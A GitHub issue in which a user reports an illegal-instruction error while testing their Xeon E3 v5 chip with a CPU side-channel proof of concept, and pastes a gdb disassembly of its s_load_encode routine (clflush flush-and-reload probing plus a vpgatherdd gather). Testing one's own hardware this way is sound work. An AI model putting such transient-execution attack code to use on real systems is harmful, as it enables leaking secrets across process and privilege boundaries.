-
Notifications
You must be signed in to change notification settings - Fork 33
Open
Description
Hi-I was attempting to test the vulnerability of a Xeon e3v5 chip using your POC (as intel doesn't feel like listing whether or not its vulnerable for some reason) and I'm running into an illegal instruction error that i don't believe is a mitigation-disassembly below:
Dump of assembler code for function s_load_encode:
0x0000000000407000 <+0>: vmovups (%rdi),%ymm3
=> 0x0000000000407004 <+4>: vpxord %ymm1,%ymm1,%ymm1
0x000000000040700a <+10>: vpcmpeqb %ymm2,%ymm2,%ymm2
0x000000000040700e <+14>: lea 0x260c000,%rdi
0x0000000000407016 <+22>: clflush (%rdi)
0x0000000000407019 <+25>: mov (%rdi),%rax
0x000000000040701c <+28>: clflush 0x40(%rdi)
0x0000000000407020 <+32>: mov 0x40(%rdi),%rax
0x0000000000407024 <+36>: clflush 0x80(%rdi)
0x000000000040702b <+43>: mov 0x80(%rdi),%rax
0x0000000000407032 <+50>: clflush 0xc0(%rdi)
0x0000000000407039 <+57>: mov 0xc0(%rdi),%rax
0x0000000000407040 <+64>: clflush 0x100(%rdi)
0x0000000000407047 <+71>: mov 0x100(%rdi),%rax
0x000000000040704e <+78>: clflush 0x140(%rdi)
0x0000000000407055 <+85>: mov 0x140(%rdi),%rax
0x000000000040705c <+92>: clflush 0x180(%rdi)
0x0000000000407063 <+99>: mov 0x180(%rdi),%rax
0x000000000040706a <+106>: clflush 0x1c0(%rdi)
0x0000000000407071 <+113>: mov 0x1c0(%rdi),%rax
0x0000000000407078 <+120>: mov 0x0,%rdi
0x0000000000407080 <+128>: lea 0x260d000,%r13
0x0000000000407088 <+136>: vpgatherdd %ymm2,0x0(%r13,%ymm1,1),%ymm5
0x000000000040708f <+143>: vpermd %ymm5,%ymm3,%ymm5
0x0000000000407094 <+148>: movq %xmm5,%rax
0x0000000000407099 <+153>: mov %rax,%rbx
0x000000000040709c <+156>: mov %rax,%rcx
0x000000000040709f <+159>: mov %rax,%rdx
---Type <return> to continue, or q <return> to quit---
Metadata
Metadata
Assignees
Labels
No labels